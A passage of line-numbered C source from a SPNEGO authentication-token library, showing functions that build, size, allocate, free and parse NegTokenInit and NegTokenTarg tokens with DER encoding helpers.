| pbWriteTokenData -= nTempLength; 333 | nTempLength = ASNDerWriteMechList(pbWriteTokenData, MechType); 334 | 335 | // Adjust Values and sanity check 336 | nTotalBytesWritten += nTempLength; 337 | nInternalTokenLength -= nTempLength; 338 | 339 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 340 | { 341 | goto xEndWriteNegTokenInit; 342 | } 343 | 344 | // The next tokens we're writing out reflect the total number of bytes 345 | // we have actually written out. 346 | 347 | // Sequence Token 348 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L); 349 | 350 | // Decrease the pbWriteTokenData, now we know the length and 351 | // write it out. 352 | pbWriteTokenData -= nTempLength; 353 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_CONSTRUCTED_SEQUENCE, 354 | NULL, nTotalBytesWritten); 355 | 356 | // Adjust Values and sanity check 357 | nTotalBytesWritten += nTempLength; 358 | nInternalTokenLength -= nTempLength; 359 | 360 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 361 | { 362 | goto xEndWriteNegTokenInit; 363 | } 364 | 365 | // Neg Init Token Identifier Token 366 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L); 367 | 368 | // Decrease the pbWriteTokenData, now we know the length and 369 | // write it out. 370 | pbWriteTokenData -= nTempLength; 371 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGINIT_TOKEN_IDENTIFIER, 372 | NULL, nTotalBytesWritten); 373 | 374 | // Adjust Values and sanity check 375 | nTotalBytesWritten += nTempLength; 376 | nInternalTokenLength -= nTempLength; 377 | 378 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 379 | { 380 | goto xEndWriteNegTokenInit; 381 | } 382 | 383 | // SPNEGO OID Token 384 | nTempLength = g_stcMechOIDList[spnego_mech_oid_Spnego].iLen; 385 | 386 | // Decrease the pbWriteTokenData, now we know the length and 387 | // write it out. 388 | pbWriteTokenData -= nTempLength; 389 | nTempLength = ASNDerWriteOID(pbWriteTokenData, spnego_mech_oid_Spnego); 390 | 391 | // Adjust Values and sanity check 392 | nTotalBytesWritten += nTempLength; 393 | nInternalTokenLength -= nTempLength; 394 | 395 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 396 | { 397 | goto xEndWriteNegTokenInit; 398 | } 399 | 400 | // App Constructed Token 401 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L); 402 | 403 | // Decrease the pbWriteTokenData, now we know the length and 404 | // write it out. 405 | pbWriteTokenData -= nTempLength; 406 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGINIT_APP_CONSTRUCT, 407 | NULL, nTotalBytesWritten); 408 | 409 | // Adjust Values and sanity check 410 | nTotalBytesWritten += nTempLength; 411 | 412 | // Don't adjust the internal token length here, it doesn't account 413 | // the initial bytes written out (we really don't need to keep 414 | // a running count here, but for debugging, it helps to be able 415 | // to see the total number of bytes written out as well as the 416 | // number of bytes left to write). 417 | 418 | if (nTotalBytesWritten == nTokenLength && nInternalTokenLength == 0 && 419 | pbWriteTokenData == pbTokenData) 420 | { 421 | nReturn = SPNEGO_E_SUCCESS; 422 | } 423 | 424 | xEndWriteNegTokenInit: 425 | 426 | return nReturn; 427 | 428 | } 429 | 430 | ///////////////////////////////////////////////////////////////////////////// 431 | // 432 | // Function: 433 | // CalculateMinSpnegoTargTokenSize 434 | // 435 | // Parameters: 436 | // [in] MechType - Supported MechType 437 | // [in] spnegoNegResult - Neg Result 438 | // [in] nMechTokenLength - Length of the MechToken Element 439 | // [in] nMechListMICLength - Length of the MechListMIC Element 440 | // [out] pnTokenSize - Filled out with total size of token 441 | // [out] pnInternalTokenLength - Filled out with length minus length 442 | // for initial token. 443 | // 444 | // Returns: 445 | // int Success - SPNEGO_E_SUCCESS 446 | // Failure - SPNEGO API Error code 447 | // 448 | // Comments : 449 | // Calculates the required length for a SPNEGO NegTokenTarg token based 450 | // on the supplied variable length values and which elements are present. 451 | // Note that because the lengths can be represented by an arbitrary 452 | // number of bytes in DER encodings, we actually calculate the lengths 453 | // backwards, so we always know how many bytes we will potentially be 454 | // writing out. 455 | // 456 | //////////////////////////////////////////////////////////////////////////// 457 | 458 | int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType, 459 | SPNEGO_NEGRESULT spnegoNegResult, long nMechTokenLen, 460 | long nMechListMICLen, long* pnTokenSize, 461 | long* pnInternalTokenLength) 462 | { 463 | int nReturn = SPNEGO_E_INVALID_LENGTH; 464 | 465 | // Start at 0. 466 | long nTotalLength = 0; 467 | long nTempLength = 0L; 468 | 469 | // We will calculate this by walking the token backwards 470 | 471 | // Start with MIC Element 472 | if (nMechListMICLen > 0L) 473 | { 474 | nTempLength = ASNDerCalcElementLength(nMechListMICLen, NULL); 475 | 476 | // Check for rollover error 477 | if (nTempLength < nMechListMICLen) 478 | { 479 | goto xEndTokenTargLength; 480 | } 481 | 482 | nTotalLength += nTempLength; 483 | } 484 | 485 | // Next is the MechToken 486 | if (nMechTokenLen > 0L) 487 | { 488 | nTempLength += ASNDerCalcElementLength(nMechTokenLen, NULL); 489 | 490 | // Check for rollover error 491 | if (nTempLength < nTotalLength) 492 | { 493 | goto xEndTokenTargLength; 494 | } 495 | 496 | nTotalLength = nTempLength; 497 | } 498 | 499 | // Supported MechType 500 | if (spnego_mech_oid_NotUsed != MechType) 501 | { 502 | // Supported MechOID element - we use the token function since 503 | // we already know the size of the OID token and value 504 | nTempLength += ASNDerCalcElementLength(g_stcMechOIDList[MechType].iActualDataLen, 505 | NULL); 506 | 507 | // Check for rollover error 508 | if (nTempLength < nTotalLength) 509 | { 510 | goto xEndTokenTargLength; 511 | } 512 | 513 | nTotalLength = nTempLength; 514 | 515 | } // IF MechType is available 516 | 517 | // NegResult Element 518 | if (spnego_negresult_NotUsed != spnegoNegResult) 519 | { 520 | nTempLength += ASNDerCalcElementLength(SPNEGO_NEGTARG_MAXLEN_NEGRESULT, NULL); 521 | 522 | // Check for rollover error 523 | if (nTempLength < nTotalLength) 524 | { 525 | goto xEndTokenTargLength; 526 | } 527 | 528 | nTotalLength = nTempLength; 529 | 530 | } // IF negResult is available 531 | 532 | // Following two fields are the basic header tokens 533 | 534 | // Sequence Token 535 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L); 536 | 537 | // Check for rollover error 538 | if (nTempLength < nTotalLength) 539 | { 540 | goto xEndTokenTargLength; 541 | } 542 | 543 | nTotalLength = nTempLength; 544 | 545 | // Neg Token Identifier Token 546 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L); 547 | 548 | // Check for rollover error 549 | if (nTempLength < nTotalLength) 550 | { 551 | goto xEndTokenTargLength; 552 | } 553 | 554 | // The internal length doesn't include the number of bytes 555 | // for the initial token 556 | *pnInternalTokenLength = nTotalLength; 557 | nTotalLength = nTempLength; 558 | 559 | // We're done 560 | *pnTokenSize = nTotalLength; 561 | nReturn = SPNEGO_E_SUCCESS; 562 | 563 | xEndTokenTargLength: 564 | 565 | return nReturn; 566 | 567 | } 568 | 569 | ///////////////////////////////////////////////////////////////////////////// 570 | // 571 | // Function: 572 | // CreateSpnegoTargToken 573 | // 574 | // Parameters: 575 | // [in] MechType - Supported MechType 576 | // [in] eNegResult - NegResult value 577 | // [in] pbMechToken - Mech Token Binary Data 578 | // [in] ulMechTokenLen - Length of Mech Token 579 | // [in] pbMechListMIC - MechListMIC Binary Data 580 | // [in] ulMechListMICn - Length of MechListMIC 581 | // [out] pbTokenData - Buffer to write token into. 582 | // [in] nTokenLength - Length of pbTokenData buffer 583 | // [in] nInternalTokenLength - Length of full token without leading 584 | // token bytes. 585 | // 586 | // Returns: 587 | // int Success - SPNEGO_E_SUCCESS 588 | // Failure - SPNEGO API Error code 589 | // 590 | // Comments : 591 | // Uses DER to fill out pbTokenData with a SPNEGO NegTokenTarg Token 592 | // Note that because the lengths can be represented by an arbitrary 593 | // number of bytes in DER encodings, we actually calculate the lengths 594 | // backwards, so we always know how many bytes we will potentially be 595 | // writing out. 596 | // 597 | //////////////////////////////////////////////////////////////////////////// 598 | 599 | int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType, 600 | SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken, 601 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 602 | unsigned long ulMechListMICLen, unsigned char* pbTokenData, 603 | long nTokenLength, long nInternalTokenLength) 604 | { 605 | int nReturn = SPNEGO_E_INVALID_LENGTH; 606 | 607 | // Start at 0. 608 | long nTempLength = 0L; 609 | long nTotalBytesWritten = 0L; 610 | long nInternalLength = 0L; 611 | 612 | unsigned char ucTemp = 0; 613 | 614 | // We will write the token out backwards to properly handle the cases 615 | // where the length bytes become adjustable, so the write location 616 | // is initialized to point *just* past the end of the buffer. 617 | 618 | unsigned char* pbWriteTokenData = pbTokenData + nTokenLength; 619 | 620 | 621 | // Start with MIC Element 622 | if (ulMechListMICLen > 0L) 623 | { 624 | nTempLength = ASNDerCalcElementLength(ulMechListMICLen, &nInternalLength); 625 | 626 | // Decrease the pbWriteTokenData, now we know the length and 627 | // write it out. 628 | 629 | pbWriteTokenData -= nTempLength; 630 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC, 631 | OCTETSTRING, pbMechListMIC, ulMechListMICLen); 632 | 633 | // Adjust Values and sanity check 634 | nTotalBytesWritten += nTempLength; 635 | nInternalTokenLength -= nTempLength; 636 | 637 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 638 | { 639 | goto xEndWriteNegTokenTarg; 640 | } 641 | 642 | } // IF MechListMIC is present 643 | 644 | // Next is the MechToken 645 | if (ulMechTokenLen > 0L) 646 | { 647 | nTempLength = ASNDerCalcElementLength(ulMechTokenLen, &nInternalLength); 648 | 649 | // Decrease the pbWriteTokenData, now we know the length and 650 | // write it out. 651 | pbWriteTokenData -= nTempLength; 652 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN, 653 | OCTETSTRING, pbMechToken, ulMechTokenLen); 654 | // Adjust Values and sanity check 655 | nTotalBytesWritten += nTempLength; 656 | nInternalTokenLength -= nTempLength; 657 | 658 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 659 | { 660 | goto xEndWriteNegTokenTarg; 661 | } 662 | 663 | } // IF MechToken Length is present 664 | 665 | // Supported Mech Type 666 | if (spnego_mech_oid_NotUsed != MechType) 667 | { 668 | 669 | nTempLength = ASNDerCalcElementLength(g_stcMechOIDList[MechType].iActualDataLen, 670 | &nInternalLength); 671 | 672 | // Decrease the pbWriteTokenData, now we know the length and 673 | // write it out. 674 | pbWriteTokenData -= nTempLength; 675 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH, 676 | g_stcMechOIDList[MechType].ucOid, 677 | g_stcMechOIDList[MechType].iLen); 678 | 679 | // Adjust Values and sanity check 680 | nTotalBytesWritten += nTempLength; 681 | nInternalTokenLength -= nTempLength; 682 | 683 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 684 | { 685 | goto xEndWriteNegTokenTarg; 686 | } 687 | 688 | } // IF MechType is present 689 | 690 | // Neg Result 691 | // NegResult Element 692 | if (spnego_negresult_NotUsed != eNegResult) 693 | { 694 | ucTemp = (unsigned char)eNegResult; 695 | 696 | nTempLength = ASNDerCalcElementLength(SPNEGO_NEGTARG_MAXLEN_NEGRESULT, &nInternalLength); 697 | 698 | // Decrease the pbWriteTokenData, now we know the length and 699 | // write it out. 700 | pbWriteTokenData -= nTempLength; 701 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGTARG_ELEMENT_NEGRESULT, 702 | ENUMERATED, &ucTemp, SPNEGO_NEGTARG_MAXLEN_NEGRESULT); 703 | 704 | // Adjust Values and sanity check 705 | nTotalBytesWritten += nTempLength; 706 | nInternalTokenLength -= nTempLength; 707 | 708 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 709 | { 710 | goto xEndWriteNegTokenTarg; 711 | } 712 | 713 | } // If eNegResult is available 714 | 715 | // The next tokens we're writing out reflect the total number of bytes 716 | // we have actually written out. 717 | 718 | // Sequence Token 719 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L); 720 | 721 | // Decrease the pbWriteTokenData, now we know the length and 722 | // write it out. 723 | pbWriteTokenData -= nTempLength; 724 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_CONSTRUCTED_SEQUENCE, 725 | NULL, nTotalBytesWritten); 726 | 727 | // Adjust Values and sanity check 728 | nTotalBytesWritten += nTempLength; 729 | nInternalTokenLength -= nTempLength; 730 | 731 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 732 | { 733 | goto xEndWriteNegTokenTarg; 734 | } 735 | 736 | // Neg Targ Token Identifier Token 737 | nTempLength = ASNDerCalcTokenLength(nTotalBytesWritten, 0L); 738 | 739 | // Decrease the pbWriteTokenData, now we know the length and 740 | // write it out. 741 | pbWriteTokenData -= nTempLength; 742 | nTempLength = ASNDerWriteToken(pbWriteTokenData, SPNEGO_NEGTARG_TOKEN_IDENTIFIER, 743 | NULL, nTotalBytesWritten); 744 | 745 | // Adjust Values and sanity check 746 | nTotalBytesWritten += nTempLength; 747 | 748 | // Don't adjust the internal token length here, it doesn't account 749 | // the initial bytes written out (we really don't need to keep 750 | // a running count here, but for debugging, it helps to be able 751 | // to see the total number of bytes written out as well as the 752 | // number of bytes left to write). 753 | 754 | if (nTotalBytesWritten == nTokenLength && nInternalTokenLength == 0 && 755 | pbWriteTokenData == pbTokenData) 756 | { 757 | nReturn = SPNEGO_E_SUCCESS; 758 | } 759 | 760 | 761 | xEndWriteNegTokenTarg: 762 | 763 | return nReturn; 764 | 765 | 766 | } 767 | 768 | 769 | ///////////////////////////////////////////////////////////////////////////// 770 | // 771 | // Function: 772 | // AllocEmptySpnegoToken 773 | // 774 | // Parameters: 775 | // [in] ucCopyData - Flag to copy data or pointer. 776 | // [in] ulFlags - Flags for SPNEGO_TOKEN data member. 777 | // [in] pbTokenData - Binary token data. 778 | // [in] ulTokenSize - Size of pbTokenData. 779 | // 780 | // Returns: 781 | // SPNEGO_TOKEN* Success - Pointer to initialized SPNEGO_TOKEN struct 782 | // Failure - NULL 783 | // 784 | // Comments : 785 | // Allocates a SPNEGO_TOKEN data structure and initializes it. Based on 786 | // the value of ucCopyData, if non-zero, we copy the data into a buffer 787 | // we allocate in this function, otherwise, we copy the data pointer 788 | // direcly. 789 | // 790 | //////////////////////////////////////////////////////////////////////////// 791 | 792 | SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags, 793 | unsigned char* pbTokenData, unsigned long ulTokenSize) 794 | { 795 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)calloc(1, sizeof(SPNEGO_TOKEN)); 796 | 797 | if (NULL != pSpnegoToken) 798 | { 799 | // Set the token size 800 | pSpnegoToken->nStructSize = SPNEGO_TOKEN_SIZE; 801 | 802 | // Initialize the element array 803 | InitSpnegoTokenElementArray(pSpnegoToken); 804 | 805 | // Assign the flags value 806 | pSpnegoToken->ulFlags = ulFlags; 807 | 808 | // 809 | // IF ucCopyData is TRUE, we will allocate a buffer and copy data into it. 810 | // Otherwise, we will just copy the pointer and the length. This is so we 811 | // can cut out additional allocations for performance reasons 812 | // 813 | 814 | if (SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA == ucCopyData) 815 | { 816 | // Alloc the internal buffer. Cleanup on failure. 817 | pSpnegoToken->pbBinaryData = (unsigned char*)calloc(ulTokenSize, sizeof(unsigned char)); 818 | 819 | if (NULL != pSpnegoToken->pbBinaryData) 820 | { 821 | // We must ALWAYS free this buffer 822 | pSpnegoToken->ulFlags |= SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA; 823 | 824 | // Copy the data locally 825 | memcpy(pSpnegoToken->pbBinaryData, pbTokenData, ulTokenSize); 826 | pSpnegoToken->ulBinaryDataLen = ulTokenSize; 827 | } 828 | else 829 | { 830 | free(pSpnegoToken); 831 | pSpnegoToken = NULL; 832 | } 833 | 834 | } // IF ucCopyData 835 | else 836 | { 837 | // Copy the pointer and the length directly - ulFlags will control whether or not 838 | // we are allowed to free the value 839 | 840 | pSpnegoToken->pbBinaryData = pbTokenData; 841 | pSpnegoToken->ulBinaryDataLen = ulTokenSize; 842 | } 843 | 844 | } 845 | 846 | return pSpnegoToken; 847 | } 848 | 849 | ///////////////////////////////////////////////////////////////////////////// 850 | // 851 | // Function: 852 | // FreeSpnegoToken 853 | // 854 | // Parameters: 855 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN to free. 856 | // 857 | // Returns: 858 | // void 859 | // 860 | // Comments : 861 | // If non-NULL, interprets pSpnegoToken, freeing any internal allocations 862 | // and finally the actual structure. 863 | // 864 | //////////////////////////////////////////////////////////////////////////// 865 | 866 | void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken) 867 | { 868 | if (NULL != pSpnegoToken) 869 | { 870 | 871 | // Cleanup internal allocation per the flags 872 | if (pSpnegoToken->ulFlags & SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA && 873 | NULL != pSpnegoToken->pbBinaryData) 874 | { 875 | free(pSpnegoToken->pbBinaryData); 876 | pSpnegoToken->pbBinaryData = NULL; 877 | } 878 | 879 | free(pSpnegoToken); 880 | } 881 | } 882 | 883 | ///////////////////////////////////////////////////////////////////////////// 884 | // 885 | // Function: 886 | // InitSpnegoTokenElementArray 887 | // 888 | // Parameters: 889 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN structure. 890 | // 891 | // Returns: 892 | // void 893 | // 894 | // Comments : 895 | // Initializes the element array data member of a SPNEGO_TOKEN data 896 | // structure. 897 | // 898 | //////////////////////////////////////////////////////////////////////////// 899 | 900 | void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken) 901 | { 902 | int nCtr; 903 | 904 | // Set the number of elemnts 905 | pSpnegoToken->nNumElements = MAX_NUM_TOKEN_ELEMENTS; 906 | 907 | // 908 | // Initially, all elements are unavailable 909 | // 910 | 911 | for (nCtr = 0; nCtr < MAX_NUM_TOKEN_ELEMENTS; nCtr++) 912 | { 913 | // Set the element size as well 914 | pSpnegoToken->aElementArray[nCtr].nStructSize = SPNEGO_ELEMENT_SIZE; 915 | pSpnegoToken->aElementArray[nCtr].iElementPresent = SPNEGO_TOKEN_ELEMENT_UNAVAILABLE; 916 | } 917 | 918 | } 919 | 920 | ///////////////////////////////////////////////////////////////////////////// 921 | // 922 | // Function: 923 | // InitSpnegoTokenType 924 | // 925 | // Parameters: 926 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN structure. 927 | // [out] pnTokenLength - Filled out with total token length 928 | // [out] pnRemainingTokenLength - Filled out with remaining length 929 | // after header is parsed 930 | // [out] ppbFirstElement - Filled out with pointer to first 931 | // element after header info. 932 | // 933 | // Returns: 934 | // int Success - SPNEGO_E_SUCCESS 935 | // Failure - SPNEGO API Error code 936 | // 937 | // Comments : 938 | // Walks the underlying binary data for a SPNEGO_TOKEN data structure 939 | // and determines the type of the underlying token based on token header 940 | // information. 941 | // 942 | //////////////////////////////////////////////////////////////////////////// 943 | 944 | int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, long* pnTokenLength, 945 | long* pnRemainingTokenLength, unsigned char** ppbFirstElement) 946 | { 947 | int nReturn = SPNEGO_E_INVALID_TOKEN; 948 | long nActualTokenLength = 0L; 949 | long nBoundaryLength = pSpnegoToken->ulBinaryDataLen; 950 | unsigned char* pbTokenData = pSpnegoToken->pbBinaryData; 951 | 952 | // 953 | // First byte MUST be either an APP_CONSTRUCT or the NEGTARG_TOKEN_TARG 954 | // 955 | 956 | if (SPNEGO_NEGINIT_APP_CONSTRUCT == *pbTokenData) 957 | { 958 | // Validate the above token - this will tell us the actual length of the token 959 | // per the encoding (minus the actual token bytes) 960 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGINIT_APP_CONSTRUCT, 0L, nBoundaryLength, 961 | pnTokenLength, &nActualTokenLength)) 962 | == SPNEGO_E_SUCCESS) 963 | { 964 | // Initialize the remaining token length value. This will be used 965 | // to tell the caller how much token there is left once we've parsed 966 | // the header (they could calculate it from the other values, but this 967 | // is a bit friendlier) 968 | *pnRemainingTokenLength = *pnTokenLength; 969 | 970 | // Make adjustments to next token 971 | pbTokenData += nActualTokenLength; 972 | nBoundaryLength -= nActualTokenLength; 973 | 974 | // The next token should be an OID 975 | if ((nReturn = ASNDerCheckOID(pbTokenData, spnego_mech_oid_Spnego, nBoundaryLength, 976 | &nActualTokenLength)) == SPNEGO_E_SUCCESS) 977 | { 978 | // Make adjustments to next token 979 | pbTokenData += nActualTokenLength; 980 | nBoundaryLength -= nActualTokenLength; 981 | *pnRemainingTokenLength -= nActualTokenLength; 982 | 983 | // The next token should specify the NegTokenInit 984 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGINIT_TOKEN_IDENTIFIER, 985 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength, 986 | &nActualTokenLength)) 987 | == SPNEGO_E_SUCCESS) 988 | { 989 | // Make adjustments to next token 990 | pbTokenData += nActualTokenLength; 991 | nBoundaryLength -= nActualTokenLength; 992 | *pnRemainingTokenLength -= nActualTokenLength; 993 | 994 | // The next token should specify the start of a sequence 995 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE, 996 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength, 997 | &nActualTokenLength)) 998 | == SPNEGO_E_SUCCESS) 999 | { 1000 | // NegTokenInit header is now checked out! 1001 | 1002 | // Make adjustments to next token 1003 | *pnRemainingTokenLength -= nActualTokenLength; 1004 | 1005 | // Store pointer to first element 1006 | *ppbFirstElement = pbTokenData + nActualTokenLength; 1007 | pSpnegoToken->ucTokenType = SPNEGO_TOKEN_INIT; 1008 | } // IF Check Sequence Token 1009 | 1010 | } // IF Check NegTokenInit token 1011 | 1012 | 1013 | } // IF Check for SPNEGO OID 1014 | 1015 | 1016 | } // IF check app construct token 1017 | 1018 | } 1019 | else if (SPNEGO_NEGTARG_TOKEN_IDENTIFIER == *pbTokenData) 1020 | { 1021 | 1022 | // The next token should specify the NegTokenInit 1023 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_NEGTARG_TOKEN_IDENTIFIER, 1024 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength, 1025 | &nActualTokenLength)) 1026 | == SPNEGO_E_SUCCESS) 1027 | { 1028 | // Initialize the remaining token length value. This will be used 1029 | // to tell the caller how much token there is left once we've parsed 1030 | // the header (they could calculate it from the other values, but this 1031 | // is a bit friendlier) 1032 | *pnRemainingTokenLength = *pnTokenLength; 1033 | 1034 | // Make adjustments to next token 1035 | pbTokenData += nActualTokenLength; 1036 | nBoundaryLength -= nActualTokenLength; 1037 | 1038 | // The next token should specify the start of a sequence 1039 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE, 1040 | *pnRemainingTokenLength, nBoundaryLength, pnTokenLength, 1041 | &nActualTokenLength)) 1042 | == SPNEGO_E_SUCCESS) 1043 | { 1044 | // NegTokenInit header is now checked out! 1045 | 1046 | // Make adjustments to next token 1047 | *pnRemainingTokenLength -= nActualTokenLength; 1048 | 1049 | // Store pointer to first element 1050 | *ppbFirstElement = pbTokenData + nActualTokenLength; 1051 | pSpnegoToken->ucTokenType = SPNEGO_TOKEN_TARG; 1052 | } // IF Check Sequence Token 1053 | 1054 | } // IF Check NegTokenInit token 1055 | 1056 | } // ELSE IF it's a NegTokenTarg 1057 | 1058 | return nReturn; 1059 | } 1060 | 1061 | 1062 | ///////////////////////////////////////////////////////////////////////////// 1063 | // 1064 | // Function: 1065 | // GetSpnegoInitTokenMechList 1066 | // 1067 | // Parameters: 1068 | // [in] pbTokenData - Points to binary MechList element 1069 | // in NegTokenInit. 1070 | // [in] nMechListLength - Length of the MechList 1071 | // [out] pSpnegoElement - Filled out with MechList Element 1072 | // data. 1073 | // 1074 | // Returns: 1075 | // int Success - SPNEGO_E_SUCCESS 1076 | // Failure - SPNEGO API Error code 1077 | // 1078 | // Comments : 1079 | // Checks that pbTokenData is pointing at something that at least 1080 | // *looks* like a MechList and then fills out the supplied 1081 | // SPNEGO_ELEMENT structure. 1082 | // 1083 | //////////////////////////////////////////////////////////////////////////// 1084 | 1085 | int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, int nMechListLength, 1086 | SPNEGO_ELEMENT* pSpnegoElement) 1087 | { 1088 | int nReturn = SPNEGO_E_INVALID_TOKEN; 1089 | long nLength = 0L; 1090 | long nActualTokenLength = 0L; 1091 | 1092 | // Actual MechList is prepended by a Constructed Sequence Token 1093 | if ((nReturn = ASNDerCheckToken(pbTokenData, SPNEGO_CONSTRUCTED_SEQUENCE, 1094 | nMechListLength, nMechListLength, 1095 | &nLength, &nActualTokenLength)) 1096 | == SPNEGO_E_SUCCESS) 1097 | { 1098 | // Adjust for this token 1099 | nMechListLength -= nActualTokenLength; 1100 | pbTokenData += nActualTokenLength; 1101 | 1102 | // Perform simple validation of the actual MechList (i.e. ensure that 1103 | // the OIDs in the MechList are reasonable). 1104 | 1105 | if ((nReturn = ValidateMechList(pbTokenData, nLength)) == SPNEGO_E_SUCCESS) 1106 | { 1107 | // Initialize the element now 1108 | pSpnegoElement->eElementType = spnego_init_mechtypes; 1109 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE; 1110 | pSpnegoElement->type = SPNEGO_MECHLIST_TYPE; 1111 | pSpnegoElement->nDatalength = nLength; 1112 | pSpnegoElement->pbData = pbTokenData; 1113 | } 1114 | 1115 | } // IF Check Token 1116 | 1117 | return nReturn; 1118 | } 1119 | 1120 | ///////////////////////////////////////////////////////////////////////////// 1121 | // 1122 | // Function: 1123 | // InitSpnegoTokenElementFromBasicType 1124 | // 1125 | // Parameters: 1126 | // [in] pbTokenData - Points to binary element data in 1127 | // a SPNEGO token. 1128 | // [in] nElementLength - Length of the element 1129 | // [in] ucExpectedType - Expected DER type. 1130 | // [in] spnegoElementType - Which element is this? 1131 | // [out] pSpnegoElement - Filled out with element data. 1132 | // 1133 | // Returns: 1134 | // int Success - SPNEGO_E_SUCCESS 1135 | // Failure - SPNEGO API Error code 1136 | // 1137 | // Comments : 1138 | // Checks that pbTokenData is pointing at the specified DER type. If so, 1139 | // then we verify that lengths are proper and then fill out the 1140 | // SPNEGO_ELEMENT data structure. 1141 | // 1142 | //////////////////////////////////////////////////////////////////////////// 1143 | 1144 | int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, int nElementLength, 1145 | unsigned char ucExpectedType, 1146 | SPNEGO_ELEMENT_TYPE spnegoElementType, 1147 | SPNEGO_ELEMENT* pSpnegoElement) 1148 | { 1149 | int nReturn = SPNEGO_E_UNEXPECTED_TYPE; 1150 | long nLength = 0L; 1151 | long nActualTokenLength = 0L; 1152 | 1153 | // The type BYTE must match our token data or something is badly wrong 1154 | if (*pbTokenData == ucExpectedType) 1155 | { 1156 | 1157 | // Check that we are pointing at the specified type 1158 | if ((nReturn = ASNDerCheckToken(pbTokenData, ucExpectedType, 1159 | nElementLength, nElementLength, 1160 | &nLength, &nActualTokenLength)) 1161 | == SPNEGO_E_SUCCESS) 1162 | { 1163 | // Adjust for this token 1164 | nElementLength -= nActualTokenLength; 1165 | pbTokenData += nActualTokenLength; 1166 | 1167 | // Initialize the element now 1168 | pSpnegoElement->eElementType = spnegoElementType; 1169 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE; 1170 | pSpnegoElement->type = ucExpectedType; 1171 | pSpnegoElement->nDatalength = nLength; 1172 | pSpnegoElement->pbData = pbTokenData; 1173 | } 1174 | 1175 | } // IF type makes sense 1176 | 1177 | return nReturn; 1178 | } 1179 | 1180 | 1181 | ///////////////////////////////////////////////////////////////////////////// 1182 | // 1183 | // Function: 1184 | // InitSpnegoTokenElementFromOID 1185 | // 1186 | // Parameters: 1187 | // [in] pbTokenData - Points to binary element data in 1188 | // a SPNEGO token. 1189 | // [in] nElementLength - Length of the element 1190 | // [in] spnegoElementType - Which element is this? 1191 | // [out] pSpnegoElement - Filled out with element data. 1192 | // 1193 | // Returns: 1194 | // int Success - SPNEGO_E_SUCCESS 1195 | // Failure - SPNEGO API Error code 1196 | // 1197 | // Comments : 1198 | // Initializes a SpnegoElement from an OID - normally, this would have 1199 | // used the Basic Type function above, but since we do binary compares 1200 | // on the OIDs against the DER information as well as the OID, we need 1201 | // to account for that. 1202 | // 1203 | //////////////////////////////////////////////////////////////////////////// 1204 | 1205 | int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, int nElementLength, 1206 | SPNEGO_ELEMENT_TYPE spnegoElementType, 1207 | SPNEGO_ELEMENT* pSpnegoElement) 1208 | { 1209 | int nReturn = SPNEGO_E_UNEXPECTED_TYPE; 1210 | long nLength = 0L; 1211 | long nActualTokenLength = 0L; 1212 | 1213 | // The type BYTE must match our token data or something is badly wrong 1214 | if (*pbTokenData == OID) 1215 | { 1216 | 1217 | // Check that we are pointing at an OID type 1218 | if ((nReturn = ASNDerCheckToken(pbTokenData, OID, 1219 | nElementLength, nElementLength, 1220 | &nLength, &nActualTokenLength)) 1221 | == SPNEGO_E_SUCCESS) 1222 | { 1223 | // Don't adjust any values for this function 1224 